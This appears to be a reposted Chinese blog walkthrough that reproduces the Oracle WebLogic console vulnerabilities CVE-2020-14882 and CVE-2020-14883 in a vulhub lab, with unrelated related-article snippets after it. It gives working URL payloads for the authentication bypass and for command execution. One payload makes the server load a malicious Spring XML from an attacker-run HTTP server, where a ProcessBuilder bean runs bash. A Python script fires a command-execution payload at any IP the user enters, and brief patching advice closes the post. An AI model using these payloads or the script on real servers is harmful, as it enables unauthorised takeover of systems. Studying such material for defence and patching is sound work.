Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

1 漏洞概述

Weblogic Pre-Auth Remote Command Execution 漏洞(CVE-2020-14882, CVE-2020-14883)是针对 Oracle WebLogic Server 的两个安全漏洞。CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 则允许经过身份验证的用户在管理员控制台组件上执行任意命令。这两个漏洞结合使用,可以使远程攻击者在未经身份验证的情况下接管 WebLogic Server Console 并执行任意代码,对系统造成极大的安全风险。

2 漏洞原理

  1. CVE-2020-14882(未授权远程命令执行漏洞):远程攻击者可以构造特殊的 HTTP 请求,利用 WebLogic Server Console 的路径遍历漏洞,访问并修改管理员控制台的某些资源。通过这种方式,攻击者可以绕过身份验证,直接访问并操作管理员控制台的功能。

  2. CVE-2020-14883(身份验证后远程命令执行漏洞):一旦攻击者通过 CVE-2020-14882 漏洞获得了对管理员控制台的访问权限,他们就可以利用 CVE-2020-14883 漏洞执行任意命令。这是因为管理员控制台组件中存在一个命令执行功能,允许用户通过 HTTP 请求提交并执行命令。由于该漏洞允许经过身份验证的用户执行任意命令,因此攻击者可以在服务器上执行任何他们想要的代码。

3 影响版本

该漏洞影响了多个版本的 Oracle WebLogic Server,包括但不限于 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0 和 12.2.1.4.0 等。

4 vulhub靶场启动

进入漏洞文件
cd vulhub/weblogic/CVE-2020-14882/
启动漏洞环境
docker compose up -d
查看漏洞端口
docker compose ps

访问 ,您将看到页面,表示环境正在成功运行。

5 漏洞复现

5.1 CVE-2020-14883:权限让漏洞

攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal

问后台后是一个低权限的用户,无法安装应用,也无法直接执行任意代码。

5.2 weblogic远程命令执行(CVE-2020-14883)

结合 CVE-2020-14882 漏洞,远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

这个漏洞一共有两种利用方法:

第一种方法是通过com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

5.2.1 第一种方法(weblogic 12.2.x 适用)

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

5.2.1.1 GET请求方式(无回显)

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

执行docker-compose exec weblogic bash进入容器中,可见/tmp/success1已成功创建。

5.2.2 第二种方法(weblogic 版本通用)

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
5.2.2.1 无回显验证

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,在kali上启动web服务器

python3 -m http.server

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[touch /tmp/success2]]></value></list></constructor-arg></bean>
</beans>
​

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.135.130:8000/rce.xml")

执行docker-compose exec weblogic bash进入容器中,可见/tmp/success2已成功创建。

6 编写python脚本探测漏洞

import requests
​
def cve_2020_14882(ip_address):url = f"{ip_address}/console/images/%252E%252E%252Fconsole.portal"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3","Content-Type": "application/xml",}params = {"_nfpb": "true","_pageLabel": "HomePage1","handle": "com.tangosol.coherence.mvel2.sh.ShellSession(java.lang.String.join('', java.util.stream.Stream.of('i', 'd').map(it -> java.lang.Runtime.getRuntime().exec(it)).toArray()))",}
​response = requests.get(url, params=params, headers=headers, timeout=10)
​if response.status_code == 200:print("命令执行成功!")#print(response.text)else:print("命令执行失败。")
​
if __name__ == "__main__":print("注意:本代码仅用于实验和学习目的,请谨慎使用。")ip_address = input("请输入目标IP地址:")cve_2020_14882(ip_address)

结果

7 漏洞修复

为了修复这些漏洞,Oracle 发布了多个安全补丁。建议用户尽快将 WebLogic Server 升级到最新版本,并应用所有可用的安全补丁。此外,用户还可以采取以下措施来降低风险:

  1. 限制对管理员控制台的访问权限,只允许受信任的用户进行访问。

  2. 使用强密码策略,并定期更改密码。

  3. 启用 WebLogic Server 的安全功能,如访问控制和审计日志记录等。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/12965.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python3 笔记:Python的函数

函数是编写好的&#xff0c;可重复调用的&#xff0c;用来实现某一功能的一段代码。 也可以理解为做某事的方法和步骤。第一次做的时候写好了方法&#xff0c;下次同类型的事直接拿来就用。 Python 内部有很多功能强大的内置函数供我们使用&#xff0c;除此之外&#xff0c;你…

Nagle算法

Nagle算法简介 Nagle算法主要是避免发送小的数据包&#xff0c;要求TCP连接上最多只能有一个未被确认的小分组&#xff0c;在该分组的确认到达之前不能发送其他的小分组。 在默认的情况下,Nagle算法是默认开启的&#xff0c;Nagle算法比较适用于发送方发送大批量的小数据&…

Sam Blackshear谈Move语言的起源

Move编程语言作为Sui生态系统的关键组成部分&#xff0c;通过可编程交易区块等机制支持其独特的对象数据模型&#xff0c;并支持高效的代码。五年前&#xff0c;Mysten Labs的联合创始人兼首席技术官Sam Blackshear创建了Move。他专门设计了Move&#xff0c;用于编写智能合约&a…

数据库SQL查询语句汇总详解

SQL是一种强大的编程语句&#xff0c;可用于操作和提取数据库中的数据。如果你对编程语句有所让步&#xff0c;那么你可能对SQL的力量感到难以置信。本文将带你深入探索SQL查询的世界&#xff0c;让你了解SQL语句的各种查询方式&#xff0c;并以实例进行详解。 1. SELECT基础查…

Iterator底层源码分析

/** * Iterator用于遍历Collection下的集合&#xff0c;Collection下的每个集合底层实现不一样&#xff0c;意味着遍历逻辑也不一样&#xff0c; * 所以Java的设计者将Iterator设计成了接口&#xff0c;让Collection下的每个集合实现Iterator */ public interface Iterator<…

英伟达的GPU(1)

又好久没更新了,一方面是最近事情有点多,另一方面最近也确实有点懒。 之前我说要把硬件部分补完,要写Nvidia的GPU,我估计一篇写不完,所以先写点。 早先的硬件文章可以参考: 上一篇:解读神秘的华为昇腾910 (qq.com) 上上一篇Microsoft Maia (qq.com) 上上上篇Google的…

sqli-labs靶场第十四关

目录 1&#xff1a;分析 找闭合符&#xff1a; 2&#xff1a;开始注入 报错注入&#xff1a; 注入数据库名&#xff1a; 注入表名&#xff1a; 注入列名&#xff1a; 注入具体值&#xff1a; 1&#xff1a;分析 经过我们的实验发现当我们输入的密码后面存在双引号时会报…

【C++】学习笔记——多态_1

文章目录 十二、继承8. 继承和组合 十三、多态1. 多态的概念2. 多态的定义和实现虚函数重写的两个特殊情况override 和 final 3. 多态的原理1. 虚函数表 未完待续 十二、继承 8. 继承和组合 我们已经知道了什么是继承&#xff0c;那组合又是什么&#xff1f;下面这种情况就是…

英语学习笔记13——A new dress

A new dress 一件新连衣裙 词汇 Vocabulary colour / color n. 颜色 v. 上色&#xff0c;涂色  英  美 颜色短语&#xff1a;green hand 新手      black tea 红茶      white house 白宫      black sheep 害群之马 英文颜色类词汇&#xff1a; red 红色…

鸿蒙开发接口Ability框架:【ApplicationContext】

ApplicationContext ApplicationContext模块提供开发者应用级别的的上下文的能力&#xff0c;包括提供注册及取消注册应用内组件生命周期的监听接口。 说明&#xff1a; 开发前请熟悉鸿蒙开发指导文档&#xff1a; gitee.com/li-shizhen-skin/harmony-os/blob/master/README.m…

静态IP代理:网络世界的隐秘通道

在数字化时代&#xff0c;网络安全和隐私保护日益受到重视。静态IP代理作为一种网络服务&#xff0c;为用户提供了一个稳定且可预测的网络连接方式&#xff0c;同时保护了用户的在线身份。本文将从五个方面深入探讨静态IP代理的概念、优势、应用场景、技术实现以及选择时的考量…

C语言学习【printf函数和scanf函数】

C语言学习【printf函数和scanf函数】 printf()函数和scanf()函数可以让用户与程序交流&#xff0c;是输入/输出函数 printf()函数 请求printf()函数打印数据的指令要与待打印数据的类型相匹配。例如&#xff0c;打印整数时使用%d&#xff0c;打印字符时使用%c。这些符号被称…

实战项目技术点(1)

1、什么是REST&#xff1f; REST&#xff08;Representational State Transfer&#xff09;&#xff0c;表述性状态转换&#xff0c;它是一种软件架构风格。传统URL风格如下&#xff1a; http://localhost:8080/user/getById?id1 GET&#xff1a;查询id为1的用户 http://loc…

网络常识一:常用工具

作为后端开发&#xff0c;特别是网络游戏后端开发&#xff0c;经常需要处理各种现网问题&#xff0c;其中有不少是网络相关的。 下面列举的工具主要是在 linux 下的&#xff0c;诊断线上服务器问题的时候&#xff0c;往往是分秒必争&#xff0c;所以这些工具都要用得很熟练&am…

程序在银河麒麟系统下实现开机自启及创建桌面快捷方式

目录 1. 机器环境说明 2. 程序开机自启动设置 2.桌面快捷方式设置 3. 附加说明 1. 机器环境说明 机器安装的银河麒麟操作系统属性如下&#xff1a; 2. 程序开机自启动设置 第1步&#xff1a;编写一个脚本,用于自动化启动&#xff0c;为便于后文描述&#xff0c;该脚本名称…

干货教程【软件篇】| 免费实现游戏加速自由

需要这个游戏加速软件的小伙伴可以关注一下文章底部公众号&#xff0c;回复关键词【zdjs】即可获取。 该软件可以实现免费的游戏加速&#xff0c;实测延迟低体验好&#xff01; 建议看到后赶紧保存下来防止丢失&#xff01; 下面讲一下该软件安装流程~ 通过链接可以得到下面…

2.go语言初始(二)

本篇博客涉及到go 的基础数据类型、 go 语言中的运算符、转义字符、格式化输出、字符串操作 go 语言中的运算符 在 go 语言中&#xff0c;基本数据类型主要包括以下几类&#xff1a;整数类型、浮点数类型、复数类型、布尔类型、字符串类型、字节类型&#xff08;byte&#xf…

Linux进程控制——Linux进程程序替换

前言&#xff1a;Linux进程控制包含了进程终止&#xff0c;进程等待&#xff0c;进程程序替换。走到现在我们也只剩下进程程序替换没介绍了&#xff0c;那么让我们来看看进程程序替换到底是什么&#xff01; 本篇主要内容&#xff1a; 替换原理 替换函数 实现简易shell 我们所创…

【sql】sql中with as 介绍与使用jsqlparser解析sql

文章目录 一. 定义二. 用法三. 解析 一. 定义 with A as (select * from class) 也就是将重复用到的大批量 的SQL语句&#xff0c;放到with as 中&#xff0c;加一个别名&#xff0c;在后面用到的时候就可以直接用。对于大批量的SQL数据&#xff0c;起到优化的作用。 with子句…

Broad Learning System (BLS) 宽度学习系统

宽度学习&#xff08;Broad Learning System, BLS&#xff09;是一种有效的神经网络学习框架&#xff0c;旨在通过扩展网络的宽度而不是深度来提高学习能力和效率。与传统的深度学习相比&#xff0c;宽度学习通过堆叠多层特征节点和增强节点来构建网络&#xff0c;从而避免了深…